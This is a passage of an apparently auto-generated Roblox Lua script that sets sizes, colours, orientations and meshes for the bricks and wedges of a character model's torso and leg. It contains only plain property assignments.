		Part95.CFrame = CFrame.new(84.713829, 4.95423937, 73.0300903, -1, 5.37522772e-13, 2.93691568e-12, 2.84009643e-12, -0.232184634, -0.972671747, -1.86642856e-13, -0.972671747, 0.232184634)
		Part95.BottomSurface = Enum.SurfaceType.Smooth
		Part95.TopSurface = Enum.SurfaceType.Smooth
		Part95.Color = Color3.new(0, 0.12549, 0.376471)
		Part95.Position = Vector3.new(84.713829, 4.95423937, 73.0300903)
		Part95.Orientation = Vector3.new(76.5699997, 0, 180)
		Part95.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh96.Parent = Part95
		Part97.Name = "Brick"
		Part97.Parent = Model57
		Part97.Material = Enum.Material.SmoothPlastic
		Part97.BrickColor = BrickColor.new("Navy blue")
		Part97.Reflectance = 0.0049999998882413
		Part97.Rotation = Vector3.new(100.769997, 0, 180)
		Part97.Anchored = true
		Part97.CanCollide = false
		Part97.FormFactor = Enum.FormFactor.Symmetric
		Part97.Size = Vector3.new(0.220499977, 1.13590491, 0.883513689)
		Part97.CFrame = CFrame.new(85.2099533, 4.3318367, 72.6986923, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
		Part97.BottomSurface = Enum.SurfaceType.Smooth
		Part97.TopSurface = Enum.SurfaceType.Smooth
		Part97.Color = Color3.new(0, 0.12549, 0.376471)
		Part97.Position = Vector3.new(85.2099533, 4.3318367, 72.6986923)
		Part97.Orientation = Vector3.new(79.2300034, 180, 0)
		Part97.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh98.Parent = Part97
		Part99.Name = "Brick"
		Part99.Parent = Model57
		Part99.Material = Enum.Material.SmoothPlastic
		Part99.BrickColor = BrickColor.new("Navy blue")
		Part99.Reflectance = 0.0049999998882413
		Part99.Rotation = Vector3.new(100.769997, 0, 180)
		Part99.Anchored = true
		Part99.CanCollide = false
		Part99.FormFactor = Enum.FormFactor.Symmetric
		Part99.Size = Vector3.new(0.220499977, 1.13590491, 0.883513689)
		Part99.CFrame = CFrame.new(84.2177048, 4.33429432, 72.6985855, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
		Part99.BottomSurface = Enum.SurfaceType.Smooth
		Part99.TopSurface = Enum.SurfaceType.Smooth
		Part99.Color = Color3.new(0, 0.12549, 0.376471)
		Part99.Position = Vector3.new(84.2177048, 4.33429432, 72.6985855)
		Part99.Orientation = Vector3.new(79.2300034, 180, 0)
		Part99.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh100.Parent = Part99
		Part101.Name = "Brick"
		Part101.Parent = Model57
		Part101.Material = Enum.Material.SmoothPlastic
		Part101.BrickColor = BrickColor.new("Black")
		Part101.Reflectance = 0.0049999998882413
		Part101.Rotation = Vector3.new(100.769997, 0, 180)
		Part101.Anchored = true
		Part101.CanCollide = false
		Part101.FormFactor = Enum.FormFactor.Symmetric
		Part101.Size = Vector3.new(0.201244384, 1.03670979, 0.806359112)
		Part101.CFrame = CFrame.new(85.166626, 4.18747377, 72.7607269, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
		Part101.BottomSurface = Enum.SurfaceType.Smooth
		Part101.TopSurface = Enum.SurfaceType.Smooth
		Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part101.Position = Vector3.new(85.166626, 4.18747377, 72.7607269)
		Part101.Orientation = Vector3.new(79.2300034, 180, 0)
		Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh102.Parent = Part101
		Part103.Name = "Brick"
		Part103.Parent = Model57
		Part103.Material = Enum.Material.SmoothPlastic
		Part103.BrickColor = BrickColor.new("Black")
		Part103.Reflectance = 0.0049999998882413
		Part103.Rotation = Vector3.new(100.769997, 0, 180)
		Part103.Anchored = true
		Part103.CanCollide = false
		Part103.FormFactor = Enum.FormFactor.Symmetric
		Part103.Size = Vector3.new(1.10684443, 0.201244384, 0.806359112)
		Part103.CFrame = CFrame.new(84.713829, 4.2677207, 72.3498917, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
		Part103.BottomSurface = Enum.SurfaceType.Smooth
		Part103.TopSurface = Enum.SurfaceType.Smooth
		Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part103.Position = Vector3.new(84.713829, 4.2677207, 72.3498917)
		Part103.Orientation = Vector3.new(79.2300034, 180, 0)
		Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh104.Parent = Part103
		Part105.Parent = Model57
		Part105.Material = Enum.Material.SmoothPlastic
		Part105.BrickColor = BrickColor.new("Black")
		Part105.Reflectance = 0.0049999998882413
		Part105.Rotation = Vector3.new(166.570007, 0, 0)
		Part105.Anchored = true
		Part105.CanCollide = false
		Part105.Size = Vector3.new(0.703561604, 0.201244384, 0.628684759)
		Part105.CFrame = CFrame.new(84.7140961, 4.99801111, 74.0790176, 0.99999994, 2.8232295e-12, 4.80674799e-13, -2.84009621e-12, -0.972672462, -0.232181579, 1.86642843e-13, 0.232181609, -0.972672462)
		Part105.BottomSurface = Enum.SurfaceType.Smooth
		Part105.TopSurface = Enum.SurfaceType.Smooth
		Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part105.Position = Vector3.new(84.7140961, 4.99801111, 74.0790176)
		Part105.Orientation = Vector3.new(13.4300003, 180, -180)
		Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part106.Parent = Model57
		Part106.Material = Enum.Material.SmoothPlastic
		Part106.BrickColor = BrickColor.new("Navy blue")
		Part106.Reflectance = 0.0049999998882413
		Part106.Rotation = Vector3.new(166.570007, 0, 0)
		Part106.Anchored = true
		Part106.CanCollide = false
		Part106.Size = Vector3.new(0.770880163, 0.220499977, 0.688839018)
		Part106.CFrame = CFrame.new(84.7141266, 5.21992493, 74.1431198, 0.99999994, 2.8232295e-12, 4.80674799e-13, -2.84009621e-12, -0.972672462, -0.232181579, 1.86642843e-13, 0.232181609, -0.972672462)
		Part106.BottomSurface = Enum.SurfaceType.Smooth
		Part106.TopSurface = Enum.SurfaceType.Smooth
		Part106.Color = Color3.new(0, 0.12549, 0.376471)
		Part106.Position = Vector3.new(84.7141266, 5.21992493, 74.1431198)
		Part106.Orientation = Vector3.new(13.4300003, 180, -180)
		Part106.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart107.Parent = Model57
		WedgePart107.Material = Enum.Material.SmoothPlastic
		WedgePart107.BrickColor = BrickColor.new("Black")
		WedgePart107.Reflectance = 0.0049999998882413
		WedgePart107.Rotation = Vector3.new(166.570007, 0, 0)
		WedgePart107.Anchored = true
		WedgePart107.CanCollide = false
		WedgePart107.Size = Vector3.new(0.201244384, 0.224141195, 0.517623842)
		WedgePart107.CFrame = CFrame.new(84.2610245, 4.65805626, 73.5709, 0.99999994, 1.67656744e-05, 7.46475916e-06, 1.80406932e-05, -0.972671747, -0.232184559, 3.36802987e-06, 0.232184559, -0.972671807)
		WedgePart107.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart107.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart107.Position = Vector3.new(84.2610245, 4.65805626, 73.5709)
		WedgePart107.Orientation = Vector3.new(13.4300003, 180, 180)
		WedgePart107.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart108.Parent = Model57
		WedgePart108.Material = Enum.Material.SmoothPlastic
		WedgePart108.BrickColor = BrickColor.new("Black")
		WedgePart108.Reflectance = 0.0049999998882413
		WedgePart108.Rotation = Vector3.new(166.570007, 0, -90)
		WedgePart108.Anchored = true
		WedgePart108.CanCollide = false
		WedgePart108.FormFactor = Enum.FormFactor.Symmetric
		WedgePart108.Size = Vector3.new(0.201244384, 0.352177709, 0.729308963)
		WedgePart108.CFrame = CFrame.new(84.8906479, 5.15557623, 74.7378082, -1.11450369e-07, 0.999996722, -9.83476184e-07, 0.972667456, -1.1921243e-07, -0.232180417, -0.232180595, -9.53674203e-07, -0.972667515)
		WedgePart108.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart108.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart108.Position = Vector3.new(84.8906479, 5.15557623, 74.7378082)
		WedgePart108.Orientation = Vector3.new(13.4300003, -180, 90)
		WedgePart108.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Model109.Name = "RightLeg"
		Model109.Parent = Model0
		Part110.Name = "Right Leg1"
		Part110.Parent = Model109
		Part110.BrickColor = BrickColor.new("Pastel yellow")
		Part110.Transparency = 1
		Part110.Rotation = Vector3.new(-0.980000019, -90, 0)
		Part110.Anchored = true
		Part110.CanCollide = false
		Part110.FormFactor = Enum.FormFactor.Symmetric
		Part110.Size = Vector3.new(1, 2, 1)
		Part110.CFrame = CFrame.new(84.6179352, 1.43810642, 71.6209641, -6.09021917e-17, -7.13092728e-15, -1, 0.0170776155, 0.999854267, -7.13092644e-15, 0.999854267, -0.0170776155, 6.08859128e-17)
		Part110.BottomSurface = Enum.SurfaceType.Smooth
		Part110.Color = Color3.new(1, 1, 0.8)
		Part110.Position = Vector3.new(84.6179352, 1.43810642, 71.6209641)
		Part110.Orientation = Vector3.new(0, -90, 0.980000019)
		Part110.Color = Color3.new(1, 1, 0.8)
		Model111.Name = "Torso"
		Model111.Parent = Model0
		Part112.Name = "Torso1"
		Part112.Parent = Model111
		Part112.BrickColor = BrickColor.new("Pastel yellow")
		Part112.Transparency = 1
		Part112.Rotation = Vector3.new(90.0100021, -89.0199966, -89.9899979)
		Part112.Anchored = true
		Part112.CanCollide = false
		Part112.FormFactor = Enum.FormFactor.Symmetric
		Part112.Size = Vector3.new(2, 2, 1)
		Part112.CFrame = CFrame.new(84.7530441, 2.97952414, 71.1198654, 1.62258732e-06, 0.0170781817, -0.999854147, 3.48963596e-08, -0.999854207, -0.0170781817, -1, -7.1804287e-09, -1.62294657e-06)
		Part112.LeftSurface = Enum.SurfaceType.Weld
		Part112.RightSurface = Enum.SurfaceType.Weld
		Part112.Color = Color3.new(1, 1, 0.8)
		Part112.Position = Vector3.new(84.7530441, 2.97952414, 71.1198654)
		Part112.Orientation = Vector3.new(0.980000019, -90, 180)
		Part112.Color = Color3.new(1, 1, 0.8)
		Part113.Name = "Brick"
		Part113.Parent = Model111
		Part113.Material = Enum.Material.SmoothPlastic
		Part113.BrickColor = BrickColor.new("Navy blue")
		Part113.Rotation = Vector3.new(153.779999, 55.4099998, -160.850006)
		Part113.Anchored = true
		Part113.CanCollide = false
		Part113.FormFactor = Enum.FormFactor.Symmetric
		Part113.Size = Vector3.new(0.621950567, 0.569770336, 0.200000003)
		Part113.CFrame = CFrame.new(84.077301, 4.22622871, 71.6350861, -0.53629142, 0.186246887, 0.823227525, -0.0492874496, 0.966775298, -0.250831395, -0.842592597, -0.175093502, -0.509293735)
		Part113.BottomSurface = Enum.SurfaceType.Smooth
		Part113.TopSurface = Enum.SurfaceType.Smooth
		Part113.Color = Color3.new(0, 0.12549, 0.376471)
		Part113.Position = Vector3.new(84.077301, 4.22622871, 71.6350861)
		Part113.Orientation = Vector3.new(14.5299997, 121.739998, -2.92000008)
		Part113.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh114.Parent = Part113
		Part115.Name = "Brick"
		Part115.Parent = Model111
		Part115.Material = Enum.Material.SmoothPlastic
		Part115.BrickColor = BrickColor.new("Lapis")
		Part115.Rotation = Vector3.new(98.8700027, 0, -90)
		Part115.Anchored = true
		Part115.CanCollide = false
		Part115.FormFactor = Enum.FormFactor.Symmetric
		Part115.Size = Vector3.new(0.200000003, 0.200000048, 0.400000036)
		Part115.CFrame = CFrame.new(85.0661545, 0.575267553, 69.5961533, -4.57742686e-07, 1, 1.60785328e-06, 0.154153615, 1.65919141e-06, -0.988046944, -0.988047063, -2.04414434e-07, -0.154153585)
		Part115.BottomSurface = Enum.SurfaceType.Smooth
		Part115.TopSurface = Enum.SurfaceType.Smooth
		Part115.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		Part115.Position = Vector3.new(85.0661545, 0.575267553, 69.5961533)
		Part115.Orientation = Vector3.new(81.1299973, 180, 90)
		Part115.Color = Color3.new(0.0627451, 0.164706, 0.862745)
		BlockMesh116.Parent = Part115
		BlockMesh116.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		BlockMesh116.Scale = Vector3.new(0.200000003, 0.200000003, 1)
		Part117.Name = "1"
		Part117.Parent = Model111
		Part117.Material = Enum.Material.SmoothPlastic
		Part117.BrickColor = BrickColor.new("Pastel Blue")
		Part117.Reflectance = 0.20000000298023
		Part117.Rotation = Vector3.new(90, 90, 0)
		Part117.Anchored = true
		Part117.CanCollide = false
		Part117.FormFactor = Enum.FormFactor.Symmetric
		Part117.Size = Vector3.new(0.200000003, 1.48148215, 0.200000003)
		Part117.CFrame = CFrame.new(85.1873627, 3.88405132, 71.120018, -1.85120132e-06, -5.99948677e-08, 1, 0.99999994, 2.66171992e-06, 1.85119575e-06, -2.66171992e-06, 0.99999994, 5.99902847e-08)
		Part117.BottomSurface = Enum.SurfaceType.Smooth
		Part117.TopSurface = Enum.SurfaceType.Smooth
		Part117.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part117.Position = Vector3.new(85.1873627, 3.88405132, 71.120018)
		Part117.Orientation = Vector3.new(0, 90, 90)
		Part117.Color = Color3.new(0.501961, 0.733333, 0.858824)
		BlockMesh118.Parent = Part117
		BlockMesh118.Scale = Vector3.new(0.300000012, 1, 1)
		BlockMesh118.Scale = Vector3.new(0.300000012, 1, 1)
		Part119.Name = "1"
		Part119.Parent = Model111
		Part119.Material = Enum.Material.SmoothPlastic
		Part119.BrickColor = BrickColor.new("Pastel Blue")
		Part119.Reflectance = 0.20000000298023
		Part119.Rotation = Vector3.new(-90, 0, 90)
		Part119.Anchored = true
		Part119.CanCollide = false
		Part119.FormFactor = Enum.FormFactor.Symmetric
		Part119.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		Part119.CFrame = CFrame.new(85.1887817, 3.88477206, 70.3631363, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
		Part119.BottomSurface = Enum.SurfaceType.Smooth
		Part119.TopSurface = Enum.SurfaceType.Smooth
		Part119.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part119.Position = Vector3.new(85.1887817, 3.88477206, 70.3631363)
		Part119.Orientation = Vector3.new(-90, 90, 0)
		Part119.Color = Color3.new(0.501961, 0.733333, 0.858824)
		CylinderMesh120.Parent = Part119
		CylinderMesh120.Scale = Vector3.new(1, 1, 0.5)
		CylinderMesh120.Scale = Vector3.new(1, 1, 0.5)
		Part121.Name = "1"
		Part121.Parent = Model111
		Part121.Material = Enum.Material.SmoothPlastic
		Part121.BrickColor = BrickColor.new("Pastel Blue")
		Part121.Reflectance = 0.20000000298023
		Part121.Rotation = Vector3.new(-90, 0, 90)
		Part121.Anchored = true
		Part121.CanCollide = false
		Part121.FormFactor = Enum.FormFactor.Symmetric
		Part121.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		Part121.CFrame = CFrame.new(85.1887817, 3.88585806, 71.872261, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
		Part121.BottomSurface = Enum.SurfaceType.Smooth
		Part121.TopSurface = Enum.SurfaceType.Smooth
		Part121.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part121.Position = Vector3.new(85.1887817, 3.88585806, 71.872261)
		Part121.Orientation = Vector3.new(-90, 90, 0)
		Part121.Color = Color3.new(0.501961, 0.733333, 0.858824)
		CylinderMesh122.Parent = Part121
		CylinderMesh122.Scale = Vector3.new(1, 1, 0.5)
		CylinderMesh122.Scale = Vector3.new(1, 1, 0.5)
		Part123.Name = "1"
		Part123.Parent = Model111
		Part123.Material = Enum.Material.SmoothPlastic
		Part123.BrickColor = BrickColor.new("Pastel Blue")
		Part123.Reflectance = 0.20000000298023
		Part123.Rotation = Vector3.new(90, 90, 0)
		Part123.Anchored = true
		Part123.CanCollide = false
		Part123.FormFactor = Enum.FormFactor.Symmetric
		Part123.Size = Vector3.new(0.200000003, 1.2814821, 0.200000003)
		Part123.CFrame = CFrame.new(85.1873627, 3.37702417, 71.1200256, -1.85120132e-06, -5.99948677e-08, 1, 0.99999994, 2.66171992e-06, 1.85119575e-06, -2.66171992e-06, 0.99999994, 5.99902847e-08)
		Part123.BottomSurface = Enum.SurfaceType.Smooth
		Part123.TopSurface = Enum.SurfaceType.Smooth
		Part123.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part123.Position = Vector3.new(85.1873627, 3.37702417, 71.1200256)
		Part123.Orientation = Vector3.new(0, 90, 90)
		Part123.Color = Color3.new(0.501961, 0.733333, 0.858824)
		BlockMesh124.Parent = Part123
		BlockMesh124.Scale = Vector3.new(0.300000012, 1, 1)
		BlockMesh124.Scale = Vector3.new(0.300000012, 1, 1)
		Part125.Name = "1"
		Part125.Parent = Model111
		Part125.Material = Enum.Material.SmoothPlastic
		Part125.BrickColor = BrickColor.new("Pastel Blue")
		Part125.Reflectance = 0.20000000298023
		Part125.Rotation = Vector3.new(-90, 0, 90)
		Part125.Anchored = true
		Part125.CanCollide = false
		Part125.FormFactor = Enum.FormFactor.Symmetric
		Part125.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		Part125.CFrame = CFrame.new(85.1887817, 3.3777411, 70.4631577, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
		Part125.BottomSurface = Enum.SurfaceType.Smooth
		Part125.TopSurface = Enum.SurfaceType.Smooth
		Part125.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part125.Position = Vector3.new(85.1887817, 3.3777411, 70.4631577)
		Part125.Orientation = Vector3.new(-90, 90, 0)
		Part125.Color = Color3.new(0.501961, 0.733333, 0.858824)
		CylinderMesh126.Parent = Part125
		CylinderMesh126.Scale = Vector3.new(1, 1, 0.5)
		CylinderMesh126.Scale = Vector3.new(1, 1, 0.5)
		Part127.Name = "1"
		Part127.Parent = Model111
		Part127.Material = Enum.Material.SmoothPlastic
		Part127.BrickColor = BrickColor.new("Pastel Blue")
		Part127.Reflectance = 0.20000000298023
		Part127.Rotation = Vector3.new(-90, 0, 90)
		Part127.Anchored = true
		Part127.CanCollide = false
		Part127.FormFactor = Enum.FormFactor.Symmetric
		Part127.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		Part127.CFrame = CFrame.new(85.1887817, 3.37882566, 71.7722549, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
		Part127.BottomSurface = Enum.SurfaceType.Smooth
		Part127.TopSurface = Enum.SurfaceType.Smooth
		Part127.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part127.Position = Vector3.new(85.1887817, 3.37882566, 71.7722549)
		Part127.Orientation = Vector3.new(-90, 90, 0)
		Part127.Color = Color3.new(0.501961, 0.733333, 0.858824)
		CylinderMesh128.Parent = Part127
		CylinderMesh128.Scale = Vector3.new(1, 1, 0.5)
		CylinderMesh128.Scale = Vector3.new(1, 1, 0.5)
		Part129.Name = "Brick"
		Part129.Parent = Model111
		Part129.Material = Enum.Material.SmoothPlastic
		Part129.BrickColor = BrickColor.new("Pastel Blue")
		Part129.Reflectance = 0.20000000298023
		Part129.Rotation = Vector3.new(0, 90, 0)
		Part129.Anchored = true
		Part129.CanCollide = false
		Part129.FormFactor = Enum.FormFactor.Symmetric
		Part129.Size = Vector3.new(0.200000003, 1.90897512, 0.200000003)
		Part129.CFrame = CFrame.new(85.1915894, 2.922647, 71.1200027, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part129.BottomSurface = Enum.SurfaceType.Smooth
		Part129.TopSurface = Enum.SurfaceType.Smooth
		Part129.Color = Color3.new(0.501961, 0.733333, 0.858824)
		Part129.Position = Vector3.new(85.1915894, 2.922647, 71.1200027)
		Part129.Orientation = Vector3.new(0, 90, 0)
		Part129.Color = Color3.new(0.501961, 0.733333, 0.858824)
		BlockMesh130.Parent = Part129
		BlockMesh130.Scale = Vector3.new(0.300000012, 1, 1)
		BlockMesh130.Scale = Vector3.new(0.300000012, 1, 1)
		Part131.Name = "Brick"
		Part131.Parent = Model111
		Part131.Material = Enum.Material.SmoothPlastic
		Part131.BrickColor = BrickColor.new("Really black")
		Part131.Rotation = Vector3.new(0, 90, 0)
		Part131.Anchored = true
		Part131.CanCollide = false
		Part131.FormFactor = Enum.FormFactor.Symmetric
		Part131.Size = Vector3.new(0.275762081, 2.04569292, 0.200000003)
		Part131.CFrame = CFrame.new(85.182869, 2.9881115, 70.2552872, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part131.BottomSurface = Enum.SurfaceType.Smooth
		Part131.TopSurface = Enum.SurfaceType.Smooth
		Part131.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part131.Position = Vector3.new(85.182869, 2.9881115, 70.2552872)
		Part131.Orientation = Vector3.new(0, 90, 0)
		Part131.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh132.Parent = Part131
		WedgePart133.Parent = Model111
		WedgePart133.Material = Enum.Material.SmoothPlastic
		WedgePart133.BrickColor = BrickColor.new("Really black")
		WedgePart133.Rotation = Vector3.new(0, -0.0500000007, 0.129999995)
		WedgePart133.Anchored = true
		WedgePart133.CanCollide = false
		WedgePart133.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart133.CFrame = CFrame.new(85.181488, 3.09613848, 70.5079117, 0.999997199, -0.00223094225, -0.000802747905, 0.00223094458, 0.999997556, 2.0340085e-06, 0.000802741386, -3.83704901e-06, 0.999999702)
		WedgePart133.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart133.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart133.Position = Vector3.new(85.181488, 3.09613848, 70.5079117)
		WedgePart133.Orientation = Vector3.new(0, -0.0500000007, 0.129999995)
		WedgePart133.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		SpecialMesh134.Parent = WedgePart133
		SpecialMesh134.Scale = Vector3.new(1.01084137, 0.337857842, 2.72094846)
		SpecialMesh134.MeshType = Enum.MeshType.Wedge
		SpecialMesh134.Scale = Vector3.new(1.01084137, 0.337857842, 2.72094846)
		WedgePart135.Parent = Model111
		WedgePart135.Material = Enum.Material.SmoothPlastic
		WedgePart135.BrickColor = BrickColor.new("Really black")
		WedgePart135.Rotation = Vector3.new(180, 0.0500000007, 179.869995)
		WedgePart135.Anchored = true
		WedgePart135.CanCollide = false
		WedgePart135.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart135.CFrame = CFrame.new(85.1811981, 3.09613752, 70.8738403, -0.999997199, -0.00223094225, 0.000802747731, -0.00223094458, 0.999997556, -1.94460154e-06, -0.000802741386, -3.74764204e-06, -0.999999702)
		WedgePart135.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart135.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart135.Position = Vector3.new(85.1811981, 3.09613752, 70.8738403)
		WedgePart135.Orientation = Vector3.new(0, 179.949997, -0.129999995)
		WedgePart135.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		SpecialMesh136.Parent = WedgePart135
		SpecialMesh136.Scale = Vector3.new(1.01084137, 0.337857842, 0.938339233)
		SpecialMesh136.MeshType = Enum.MeshType.Wedge
		SpecialMesh136.Scale = Vector3.new(1.01084137, 0.337857842, 0.938339233)
		WedgePart137.Parent = Model111
		WedgePart137.Material = Enum.Material.SmoothPlastic
		WedgePart137.BrickColor = BrickColor.new("Really black")
		WedgePart137.Rotation = Vector3.new(-90, 0, 179.910004)
		WedgePart137.Anchored = true
		WedgePart137.CanCollide = false
		WedgePart137.Size = Vector3.new(0.200412184, 0.389923543, 1.16091728)
		WedgePart137.CFrame = CFrame.new(85.1823654, 2.54573298, 70.5879745, -0.999998868, -0.00150661916, -1.4348019e-06, -1.44066507e-06, 3.88361514e-06, 1, -0.00150661927, 0.999998868, -3.89665365e-06)
		WedgePart137.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart137.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart137.Position = Vector3.new(85.1823654, 2.54573298, 70.5879745)
		WedgePart137.Orientation = Vector3.new(-90, 179.910004, 0)
		WedgePart137.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart138.Parent = Model111
		WedgePart138.Material = Enum.Material.SmoothPlastic
		WedgePart138.BrickColor = BrickColor.new("Really black")
		WedgePart138.Rotation = Vector3.new(90, 0, 0.0900000036)
		WedgePart138.Anchored = true
		WedgePart138.CanCollide = false
		WedgePart138.Size = Vector3.new(0.200412184, 0.389923543, 0.347238541)
		WedgePart138.CFrame = CFrame.new(85.1823654, 3.29980421, 70.587944, 0.999998868, -0.00150661916, 1.43467025e-06, 1.44066507e-06, 3.98792326e-06, -1, 0.00150661927, 0.999998868, 4.00096178e-06)
		WedgePart138.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart138.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart138.Position = Vector3.new(85.1823654, 3.29980421, 70.587944)
		WedgePart138.Orientation = Vector3.new(90, -0.0900000036, 0)
		WedgePart138.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart139.Parent = Model111
		WedgePart139.Material = Enum.Material.SmoothPlastic
		WedgePart139.BrickColor = BrickColor.new("Really black")
		WedgePart139.Rotation = Vector3.new(-55.7200012, 0, -180)
		WedgePart139.Anchored = true
		WedgePart139.CanCollide = false
		WedgePart139.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart139.CFrame = CFrame.new(85.1822815, 3.04279566, 71.1207199, -1, 9.39884956e-07, -1.14377758e-06, -1.47446929e-06, -0.563230097, 0.826300144, 1.32416773e-07, 0.826300204, 0.563229978)
		WedgePart139.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart139.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart139.Position = Vector3.new(85.1822815, 3.04279566, 71.1207199)
		WedgePart139.Orientation = Vector3.new(-55.7200012, 0, -180)
		WedgePart139.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		SpecialMesh140.Parent = WedgePart139
		SpecialMesh140.Scale = Vector3.new(0.999984741, 0.80983156, 0.552008986)
		SpecialMesh140.MeshType = Enum.MeshType.Wedge
		SpecialMesh140.Scale = Vector3.new(0.999984741, 0.80983156, 0.552008986)
		WedgePart141.Parent = Model111
		WedgePart141.Material = Enum.Material.SmoothPlastic
		WedgePart141.BrickColor = BrickColor.new("Really black")
		WedgePart141.Rotation = Vector3.new(90, 0.0199999996, 0.0299999993)
		WedgePart141.Anchored = true
		WedgePart141.CanCollide = false
		WedgePart141.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart141.CFrame = CFrame.new(85.1822052, 3.45734429, 70.4930878, 0.999999762, -0.000579246494, 0.000356322125, 0.000356324395, 3.86871397e-06, -1, 0.000579245039, 0.999999881, 4.07546759e-06)
		WedgePart141.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart141.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart141.Position = Vector3.new(85.1822052, 3.45734429, 70.4930878)
		WedgePart141.Orientation = Vector3.new(90, -0.0299999993, 0)
		WedgePart141.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		SpecialMesh142.Parent = WedgePart141
		SpecialMesh142.Scale = Vector3.new(1.00078332, 0.99998498, 1.63242829)
		SpecialMesh142.MeshType = Enum.MeshType.Wedge
		SpecialMesh142.Scale = Vector3.new(1.00078332, 0.99998498, 1.63242829)
		WedgePart143.Parent = Model111
		WedgePart143.Material = Enum.Material.SmoothPlastic
		WedgePart143.BrickColor = BrickColor.new("Really black")
		WedgePart143.Rotation = Vector3.new(-90, -0.0199999996, 179.970001)
		WedgePart143.Anchored = true
		WedgePart143.CanCollide = false
		WedgePart143.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart143.CFrame = CFrame.new(85.1824951, 2.62967396, 70.4931183, -0.999999762, -0.000579246436, -0.000356322184, -0.000356324395, 3.79420817e-06, 1, -0.000579245039, 0.999999881, -4.00096178e-06)
		WedgePart143.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart143.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart143.Position = Vector3.new(85.1824951, 2.62967396, 70.4931183)
		WedgePart143.Orientation = Vector3.new(-90, 179.970001, 0)
		WedgePart143.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		SpecialMesh144.Parent = WedgePart143
		SpecialMesh144.Scale = Vector3.new(1.00078332, 0.99998498, 6.64438772)
		SpecialMesh144.MeshType = Enum.MeshType.Wedge
		SpecialMesh144.Scale = Vector3.new(1.00078332, 0.99998498, 6.64438772)
		WedgePart145.Parent = Model111
		WedgePart145.Material = Enum.Material.SmoothPlastic
		WedgePart145.BrickColor = BrickColor.new("Really black")
